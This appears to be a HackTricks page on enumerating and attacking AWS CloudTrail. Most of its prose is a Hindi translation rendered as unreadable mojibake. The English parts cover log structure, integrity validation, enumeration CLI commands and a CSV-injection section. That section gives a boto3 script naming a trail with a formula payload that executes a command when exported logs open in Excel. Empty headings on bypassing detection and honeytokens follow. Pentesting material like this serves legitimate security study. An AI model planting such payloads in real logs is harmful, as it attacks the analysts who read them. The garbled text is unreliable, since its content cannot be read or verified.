AWS - CloudTrail Enum

Support HackTricks

CloudTrail

AWS CloudTrail рдЖрдкрдХреЗ AWS рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рднреАрддрд░ рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд░рд┐рдХреЙрд░реНрдб рдФрд░ рдореЙрдирд┐рдЯрд░ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рд╕реНрддреГрдд рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рд╢рд╛рдорд┐рд▓ рд╣реИ рдХрд┐ рдХрд┐рд╕рдиреЗ рдХреНрдпрд╛ рдХрд┐рдпрд╛, рдХрдм, рдФрд░ рдХрд╣рд╛рдБ, рд╕рднреА AWS рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рд▓рд┐рдПред рдпрд╣ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдФрд░ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдПрдХ рдСрдбрд┐рдЯ рдЯреНрд░реЗрд▓ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг, рдЕрдиреБрдкрд╛рд▓рди рдСрдбрд┐рдЯрд┐рдВрдЧ, рдФрд░ рд╕рдВрд╕рд╛рдзрди рдкрд░рд┐рд╡рд░реНрддрди рдЯреНрд░реИрдХрд┐рдВрдЧ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред CloudTrail рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕рдВрд╕рд╛рдзрди рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рд╕рдордЭрдиреЗ, рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрдерд┐рддрд┐ рдХреЛ рдмрдврд╝рд╛рдиреЗ, рдФрд░ рдирд┐рдпрд╛рдордХ рдЕрдиреБрдкрд╛рд▓рди рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред

рдкреНрд░рддреНрдпреЗрдХ рд▓реЙрдЧ рдХреА рдЧрдИ рдШрдЯрдирд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ:

  • рдХреЙрд▓ рдХреА рдЧрдИ API рдХрд╛ рдирд╛рдо: eventName

  • рдХреЙрд▓ рдХреА рдЧрдИ рд╕реЗрд╡рд╛: eventSource

  • рд╕рдордп: eventTime

  • IP рдкрддрд╛: SourceIPAddress

  • рдПрдЬреЗрдВрдЯ рд╡рд┐рдзрд┐: userAgentред рдЙрджрд╛рд╣рд░рдг:

  • Signing.amazonaws.com - AWS рдкреНрд░рдмрдВрдзрди рдХрдВрд╕реЛрд▓ рд╕реЗ

  • console.amazonaws.com - рдЦрд╛рддреЗ рдХрд╛ рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛

  • lambda.amazonaws.com - AWS Lambda

  • рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░: requestParameters

  • рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рддрддреНрд╡: responseElements

рдЗрд╡реЗрдВрдЯ рдХреЛ рд▓рдЧрднрдЧ рд╣рд░ 5 рдорд┐рдирдЯ рдореЗрдВ рдПрдХ JSON рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдПрдХ рдирдП рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрдиреНрд╣реЗрдВ CloudTrail рджреНрд╡рд╛рд░рд╛ рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЕрдВрддрддрдГ, рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рдЧрднрдЧ 15 рдорд┐рдирдЯ рдмрд╛рдж S3 рдореЗрдВ рд╡рд┐рддрд░рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИрдВред CloudTrail рдХреЗ рд▓реЙрдЧ рдХреЛ рдЦрд╛рддреЛрдВ рдФрд░ рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреЗ рдмреАрдЪ рд╕рдореЗрдХрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред CloudTrail рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдХреА рдЕрдЦрдВрдбрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЖрдк рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░ рд╕рдХреЗрдВ рдХрд┐ рдЖрдкрдХреА рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓реЗрдВ рддрдм рд╕реЗ рдЕрдкрд░рд┐рд╡рд░реНрддрд┐рдд рд╣реИрдВ рдЬрдм рд╕реЗ CloudTrail рдиреЗ рдЙрдиреНрд╣реЗрдВ рдЖрдкрдХреЛ рд╡рд┐рддрд░рд┐рдд рдХрд┐рдпрд╛ред рдпрд╣ рд▓реЙрдЧ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ SHA-256 рд╣реИрд╢ рдмрдирд╛рддрд╛ рд╣реИред рдирдП рд▓реЙрдЧ рдХрд╛ sha-256 рд╣реИрд╢ рд╣рд░ рдШрдВрдЯреЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдЯреНрд░реЗрд▓ рдмрдирд╛рддреЗ рд╕рдордп рдЗрд╡реЗрдВрдЯ рдЪрдпрдирдХрд░реНрддрд╛ рдЖрдкрдХреЛ рд▓реЙрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреНрд░реЗрд▓ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВрдЧреЗ: рдкреНрд░рдмрдВрдзрди, рдбреЗрдЯрд╛ рдпрд╛ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдШрдЯрдирд╛рдПрдБред

рд▓реЙрдЧ рдПрдХ S3 рдмрдХреЗрдЯ рдореЗрдВ рд╕рд╣реЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (SSE-S3) рдЗрд╕рд▓рд┐рдП AWS рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдордЧреНрд░реА рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдЧрд╛ рдЬрд┐рдирдХреЗ рдкрд╛рд╕ рдЗрд╕рдХрд╛ рдПрдХреНрд╕реЗрд╕ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдЖрдк KMS рдФрд░ рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде SSE рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд▓реЙрдЧ рдПрдХ S3 рдмрдХреЗрдЯ рдореЗрдВ рдЗрд╕ рдирд╛рдо рдкреНрд░рд╛рд░реВрдк рдХреЗ рд╕рд╛рде рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • рдмрдХреЗрдЯ рдХрд╛ рдирд╛рдо: aws-cloudtrail-logs-<accountid>-<random>

  • рдЙрджрд╛рд╣рд░рдг: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

рдкреНрд░рддреНрдпреЗрдХ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рддреНрдпреЗрдХ рд▓реЙрдЧ рдХрд╛ рдирд╛рдо рдЗрд╕ рдкреНрд░рд╛рд░реВрдк рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдЧрд╛: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдирд╛рдордХрд░рдг рд╕рдореНрдореЗрд▓рди

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓реЗрдВ (рдлрд╝рд╛рдЗрд▓ рдХреА рдЕрдЦрдВрдбрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП) рд╕рдорд╛рди рдмрдХреЗрдЯ рдореЗрдВ рд╣реЛрдВрдЧреА:

Aggregate Logs from Multiple Accounts

  • рдЙрд╕ AWS рдЦрд╛рддреЗ рдореЗрдВ рдПрдХ рдЯреНрд░реЗрд▓ рдмрдирд╛рдПрдВ рдЬрд╣рд╛рдБ рдЖрдк рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓реЗрдВ рд╡рд┐рддрд░рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ

  • рдЧрдВрддрд╡реНрдп S3 рдмрдХреЗрдЯ рдкрд░ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдЬреЛ CloudTrail рдХреЗ рд▓рд┐рдП рдХреНрд░реЙрд╕-рдЦрд╛рддрд╛ рдПрдХреНрд╕реЗрд╕ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ AWS рдЦрд╛рддреЗ рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрдВ рдЬрд┐рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ

  • рдЕрдиреНрдп AWS рдЦрд╛рддреЛрдВ рдореЗрдВ рдПрдХ рдирдпрд╛ рдЯреНрд░реЗрд▓ рдмрдирд╛рдПрдВ рдФрд░ рдЪрд░рдг 1 рдореЗрдВ рдмрдирд╛рдП рдЧрдП рдмрдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ

рд╣рд╛рд▓рд╛рдВрдХрд┐, рднрд▓реЗ рд╣реА рдЖрдк рд╕рднреА рд▓реЙрдЧ рдХреЛ рдПрдХ рд╣реА S3 рдмрдХреЗрдЯ рдореЗрдВ рд╕рд╣реЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рдЖрдк рдПрдХ рд╣реА AWS рдЦрд╛рддреЗ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд CloudWatch рд▓реЙрдЧ рдореЗрдВ рдХрдИ рдЦрд╛рддреЛрдВ рд╕реЗ CloudTrail рд▓реЙрдЧ рдХреЛ рд╕рдореЗрдХрд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдПрдХ рдЦрд╛рддреЗ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдЯреНрд░реЗрд▓реНрд╕ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ CloudTrail рд╕рдХреНрд╖рдо рд╣реИрдВ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдмрдХреЗрдЯ рдореЗрдВ рд╕рдорд╛рди (рдпрд╛ рд╡рд┐рднрд┐рдиреНрди) рд▓реЙрдЧ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВред

Cloudtrail from all org accounts into 1

рдЬрдм рдПрдХ CloudTrail рдмрдирд╛рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рд╕рднреА рдЦрд╛рддреЛрдВ рдХреЗ рд▓рд┐рдП cloudtrail рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ рд▓реЙрдЧ рдХреЛ рдХреЗрд╡рд▓ 1 рдмрдХреЗрдЯ рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдП:

рдЗрд╕ рддрд░рд╣ рдЖрдк рд╕рднреА рдЦрд╛рддреЛрдВ рдХреЗ рд╕рднреА рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ CloudTrail рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ 1 рдЦрд╛рддреЗ рдореЗрдВ рд▓реЙрдЧ рдХреЛ рдХреЗрдВрджреНрд░реАрдХреГрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЬрд┐рд╕реЗ рдЖрдкрдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП)ред

Log Files Checking

рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд▓реЙрдЧ рдореЗрдВ рдХреЛрдИ рдкрд░рд┐рд╡рд░реНрддрди рдирд╣реАрдВ рд╣реБрдЖ рд╣реИ, рдЪрд▓рд╛рдХрд░

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ CloudWatch рдХреЛ рд▓реЙрдЧ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЖрдк рд╕рдВрджрд┐рдЧреНрдз рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдкрд░ рдЪреЗрддрд╛рд╡рдиреА рджреЗрдиреЗ рд╡рд╛рд▓реЗ рдЕрд▓рд░реНрдЯ рд╕реЗрдЯ рдХрд░ рд╕рдХреЗрдВред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ CloudTrail рдХреЛ CloudWatch рдореЗрдВ рд▓реЙрдЧ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рднреВрдорд┐рдХрд╛ рдмрдирд╛рдИ рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП рдЬреЛ рдЙрд╕ рдХреНрд░рд┐рдпрд╛ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ, рддреЛ рдЗрди рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП AWS рдбрд┐рдлрд╝реЙрд▓реНрдЯ рднреВрдорд┐рдХрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИред рдпрд╣ рднреВрдорд┐рдХрд╛ CloudTrail рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрдЧреА:

  • CreateLogStream: рдпрд╣ CloudWatch рд▓реЙрдЧ рд╕реНрдЯреНрд░реАрдо рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ

  • PutLogEvents: CloudTrail рд▓реЙрдЧ рдХреЛ CloudWatch рд▓реЙрдЧ рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рд╡рд┐рддрд░рд┐рдд рдХрд░реЗрдВ

Event History

CloudTrail Event History рдЖрдкрдХреЛ рдПрдХ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рд░рд┐рдХреЙрд░реНрдб рдХрд┐рдП рдЧрдП рд▓реЙрдЧ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:

Insights

CloudTrail Insights рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд▓рд┐рдЦрд┐рдд рдкреНрд░рдмрдВрдзрди рдШрдЯрдирд╛рдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рдЕрд╕рд╛рдорд╛рдиреНрдп рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЪреЗрддрд╛рд╡рдиреА рджреЗрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ TerminateInstance рдШрдЯрдирд╛рдУрдВ рдореЗрдВ рд╡реГрджреНрдзрд┐ рд╣реЛрддреА рд╣реИ рдЬреЛ рд╕реНрдерд╛рдкрд┐рдд рдмреБрдирд┐рдпрд╛рджреА рд░реЗрдЦрд╛рдУрдВ рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреА рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ рдПрдХ Insight рдШрдЯрдирд╛ рдХреЗ рд░реВрдк рдореЗрдВ рджреЗрдЦреЗрдВрдЧреЗред рдпреЗ рдШрдЯрдирд╛рдПрдБ рдЕрд╕рд╛рдорд╛рдиреНрдп API рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЛ рдвреВрдВрдврдирд╛ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдирд╛ рдкрд╣рд▓реЗ рд╕реЗ рдХрд╣реАрдВ рдЕрдзрд┐рдХ рдЖрд╕рд╛рди рдмрдирд╛рддреА рд╣реИрдВред

Insights рдЙрд╕реА рдмрдХреЗрдЯ рдореЗрдВ CloudTrail рд▓реЙрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

CloudTrail Log File Integrity

  • рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд▓реЙрдЧ рдореЗрдВ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХреА рдЧрдИ рд╣реИ (рд╕рдВрд╢реЛрдзрд┐рдд рдпрд╛ рд╣рдЯрд╛рдП рдЧрдП)

  • рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ (рдкреНрд░рддреНрдпреЗрдХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рд╣реИрд╢ рдмрдирд╛рдПрдВ)

    • SHA-256 рд╣реИрд╢рд┐рдВрдЧ

    • рдбрд┐рдЬрд┐рдЯрд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреЗ рд▓рд┐рдП RSA рдХреЗ рд╕рд╛рде SHA-256

    • рдЕрдореЗрдЬрд╝рди рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╡рд╛рд▓рд╛ рдирд┐рдЬреА рдХреБрдВрдЬреА

  • рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдореЗрдВ 1 рдШрдВрдЯрд╛ рд▓рдЧрддрд╛ рд╣реИ (рд╣рд░ рдШрдВрдЯреЗ рдХреЗ рд╢реБрд░реВ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)

Stop unauthorized access

  • IAM рдиреАрддрд┐рдпреЛрдВ рдФрд░ S3 рдмрдХреЗрдЯ рдиреАрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ

    • рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдо тАФ> рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╣реБрдВрдЪ

    • рдСрдбрд┐рдЯрд░реНрд╕ тАФ> рдХреЗрд╡рд▓ рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдВрдЪ

  • рд▓реЙрдЧ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП SSE-S3/SSE-KMS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ

Prevent log files from being deleted

  • IAM рдФрд░ рдмрдХреЗрдЯ рдиреАрддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╣рдЯрд╛рдиреЗ рдХреА рдкрд╣реБрдВрдЪ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░реЗрдВ

  • S3 MFA рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ

  • рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рд╕рддреНрдпрд╛рдкрди рдХреЗ рд╕рд╛рде рдорд╛рдиреНрдп рдХрд░реЗрдВ

Access Advisor

AWS Access Advisor рдЕрдкрдиреЗ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ 400 рджрд┐рдиреЛрдВ рдХреЗ AWS CloudTrail рд▓реЙрдЧ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред CloudTrail AWS рдЦрд╛рддреЗ рдореЗрдВ рдХрд┐рдП рдЧрдП AWS API рдХреЙрд▓ рдФрд░ рд╕рдВрдмрдВрдзрд┐рдд рдШрдЯрдирд╛рдУрдВ рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИред Access Advisor рдЗрд╕ рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рджрд┐рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдЕрдВрддрд┐рдо рдмрд╛рд░ рдХрдм рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред CloudTrail рд▓реЙрдЧ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗ, Access Advisor рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХрд┐рд╕реА IAM рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рднреВрдорд┐рдХрд╛ рдиреЗ рдХрд┐рди AWS рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рд╣реИ рдФрд░ рд╡рд╣ рдПрдХреНрд╕реЗрд╕ рдХрдм рд╣реБрдЖред рдпрд╣ AWS рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЛ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдкрд░рд┐рд╖реНрдХреГрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реВрдЪрд┐рдд рдирд┐рд░реНрдгрдп рд▓реЗрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЙрди рд╕реЗрд╡рд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд▓рдВрдмреЗ рд╕рдордп рддрдХ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрдкрдпреЛрдЧ рдкреИрдЯрд░реНрди рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрддреНрдпрдзрд┐рдХ рд╡реНрдпрд╛рдкрдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдХрдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЗрд╕рд▓рд┐рдП, Access Advisor рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рджреА рдЬрд╛ рд░рд╣реА рдЕрдирд╛рд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реВрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЙрдиреНрд╣реЗрдВ рд╣рдЯрд╛ рд╕рдХреЗ

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

CloudTrail рдХреЗ рдЕрдВрджрд░ CVS рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬреЛ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ рдпрджрд┐ рд▓реЙрдЧ рдХреЛ CSV рдореЗрдВ рдирд┐рд░реНрдпрд╛рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ Excel рдХреЗ рд╕рд╛рде рдЦреЛрд▓рд╛ рдЬрд╛рддрд╛ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдПрдХ рдЦрд░рд╛рдм рдЯреНрд░реЗрд▓ рдирд╛рдо рдХреЗ рд╕рд╛рде рд▓реЙрдЧ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕рдореЗрдВ рдкреЗрд▓реЛрдб рд╢рд╛рдорд┐рд▓ рд╣реИ:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

For more information about CSV Injections check the page:

For more information about this specific technique check https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Detection рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ

HoneyTokens рдмрд╛рдпрдкрд╛рд╕

